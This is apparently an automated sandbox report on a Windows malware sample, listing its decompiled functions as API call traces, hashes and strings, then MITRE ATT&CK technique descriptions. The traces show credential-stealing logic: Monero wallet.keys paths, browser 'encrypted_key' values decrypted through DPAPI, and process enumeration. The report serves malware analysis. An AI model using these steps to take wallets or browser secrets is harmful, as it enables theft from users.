Part of subcall function 00478B60: GetSystemTime.KERNEL32(00480E1A,00E89FA8,004805AE,?,?,004613F9,?,0000001A,00480E1A,00000000,?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 00478B86

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0046D801
lstrlen.KERNEL32(00000000), ref: 0046D99F
lstrlen.KERNEL32(00000000), ref: 0046D9B3
DeleteFileA.KERNEL32(00000000), ref: 0046DA32

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c911988b6fdd770c3664b71b3e1c34c1be0031b4a206e787fbeeab45235b06eb
Instruction ID: db47bf7c755c25c4a6afb8a85471aac8b9e77e15126258a5de92407b6ed76ace
Opcode Fuzzy Hash: c911988b6fdd770c3664b71b3e1c34c1be0031b4a206e787fbeeab45235b06eb
Instruction Fuzzy Hash: CF8124719101049BCB04FBA5DC51EEE7339AF94304F51852EF11BA6091EF386A19CBBB

Function 004770D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sG, xrefs: 004772AE, 00477179, 0047717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0047718C
sG, xrefs: 00477111

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sG$sG$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-2141367415
Opcode ID: 55ea1cfb8864e2a39a2cefdd8ffe828bd3719c9c314b2caa9f333a1ef7a272d4
Instruction ID: e81e371335b8922a2bd5a0036806748dcbeb0df97fbd69a22070f493df917d8b
Opcode Fuzzy Hash: 55ea1cfb8864e2a39a2cefdd8ffe828bd3719c9c314b2caa9f333a1ef7a272d4
Instruction Fuzzy Hash: 045183B0D042189BDB14EBA0DC41BEEB374EF44304F5084AEE51976282EB786E88CF5D

Function 00473560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bda3686f6c2e4ddf1cdb215ad0f166227c3e7830661ca54d310867d3d8e9acc7
Instruction ID: ab577862e92d244677bebf88a308f5bf9b07cf71962df3e9652260dddd380fd0
Opcode Fuzzy Hash: bda3686f6c2e4ddf1cdb215ad0f166227c3e7830661ca54d310867d3d8e9acc7
Instruction Fuzzy Hash: E74181B1D10108AFCB04EFE5C845AEEB774AF44305F10C41EE51A77290DB78AA09DFAA

Function 00469CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 004699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004699EC
Part of subcall function 004699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00469A11
Part of subcall function 004699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00469A31
Part of subcall function 004699C0: ReadFile.KERNEL32(000000FF,?,00000000,0046148F,00000000), ref: 00469A5A
Part of subcall function 004699C0: LocalFree.KERNEL32(0046148F), ref: 00469A90
Part of subcall function 004699C0: CloseHandle.KERNEL32(000000FF), ref: 00469A9A

Part of subcall function 00478E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00478E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00469D39

Part of subcall function 00469AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469AEF
Part of subcall function 00469AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00464EEE,00000000,?), ref: 00469B01
Part of subcall function 00469AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469B2A
Part of subcall function 00469AC0: LocalFree.KERNEL32(?,?,?,?,00464EEE,00000000,?), ref: 00469B3F

Part of subcall function 00469B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00469B84
Part of subcall function 00469B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00469BA3
Part of subcall function 00469B60: LocalFree.KERNEL32(?), ref: 00469BD3

Strings

DPAPI, xrefs: 00469D89
"encrypted_key":", xrefs: 00469D30
, xrefs: 00469DC1

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6232cd773923328ddd910d3e043a260bedf30209da332b430fb004f72493aa6f
Instruction ID: 7155c61c070fb25bb52d792263806b18a6a85a5d370b7895acf71c3b3d89788f
Opcode Fuzzy Hash: 6232cd773923328ddd910d3e043a260bedf30209da332b430fb004f72493aa6f
Instruction Fuzzy Hash: 1C3133B5D1010AABCB04DBE4DC85AEFB7BCAB44308F14452AE505A7241F7789E05CBA6

Function 00478680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004805B7), ref: 004786CA
Process32First.KERNEL32(?,00000128), ref: 004786DE
Process32Next.KERNEL32(?,00000128), ref: 004786F3

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

CloseHandle.KERNEL32(?), ref: 00478761

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 74e46cec694caf56f3b94658ea2bf99406a4e879b9ba6b8788fb7f12d2f05001
Instruction ID: 8f865b520cd0bea4946740f49a3da77e9024b3a902e7b6e073f8e28928a0aaaa
Opcode Fuzzy Hash: 74e46cec694caf56f3b94658ea2bf99406a4e879b9ba6b8788fb7f12d2f05001
Instruction Fuzzy Hash: EB314D71901218ABCB24EF95CC45FEEB778EF45704F10859EE10EA21A0DB386A45CFA6

Function 00477980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00480E00,00000000,?), ref: 004779B0
RtlAllocateHeap.NTDLL(00000000), ref: 004779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00480E00,00000000,?), ref: 004779C4
wsprintfA.USER32 ref: 004779F3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 76877ae55c1203f12bf284b6c5d315f1f8fc6e8ceca9ca635aeb1017e6f94d5e
Instruction ID: c740980b9b1cdac16bcaa22384d77e1a0cd6e03cd32a119ca4b25556b0b385d6
Opcode Fuzzy Hash: 76877ae55c1203f12bf284b6c5d315f1f8fc6e8ceca9ca635aeb1017e6f94d5e
Instruction Fuzzy Hash: CF1115B2904118AACB149FC9DD45BBEB7F9EB49B11F10421AF605A2280E33D6940CBB5

Function 0047C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0047C74E

Part of subcall function 0047BF9F: __amsg_exit.LIBCMT ref: 0047BFAF

__getptd.LIBCMT ref: 0047C765
__amsg_exit.LIBCMT ref: 0047C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0047C797

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 9f6dbb89524ddfda0b606d6469fc65fab21e51edcf47697c0dfe960ff0c87163
Instruction ID: 51f02f6eeeb9a1d836a9ac88752f38713f58e4cd73e6340ef319baf918044442
Opcode Fuzzy Hash: 9f6dbb89524ddfda0b606d6469fc65fab21e51edcf47697c0dfe960ff0c87163
Instruction Fuzzy Hash: BBF06D329006019BD724BBB958867CE33A0AF00B28F20C54FF40CA62D2CF6C59519F9E

Function 00474F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00478DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00478E0B

lstrcat.KERNEL32(?,00000000), ref: 00474F7A
lstrcat.KERNEL32(?,00481070), ref: 00474F97
lstrcat.KERNEL32(?,00E88990), ref: 00474FAB
lstrcat.KERNEL32(?,00481074), ref: 00474FBD

Part of subcall function 00474910: wsprintfA.USER32 ref: 0047492C
Part of subcall function 00474910: FindFirstFileA.KERNEL32(?,?), ref: 00474943

Part of subcall function 00474910: StrCmpCA.SHLWAPI(?,00480FDC), ref: 00474971
Part of subcall function 00474910: StrCmpCA.SHLWAPI(?,00480FE0), ref: 00474987
Part of subcall function 00474910: FindNextFileA.KERNEL32(000000FF,?), ref: 00474B7D
Part of subcall function 00474910: FindClose.KERNEL32(000000FF), ref: 00474B92

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fca1d213eff81ed32e380a21bded36aeff28f31946e1903f3ed526f78222a61e
Instruction ID: 1500679400db68c8dd672c45adda460ac52d12208f84ba754f6ec4efd93b8f0e
Opcode Fuzzy Hash: fca1d213eff81ed32e380a21bded36aeff28f31946e1903f3ed526f78222a61e
Instruction Fuzzy Hash: 3321B8B690020467C794FBB0DC46EED733DAB95300F00495FB65A92191EF78AAC9CF96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

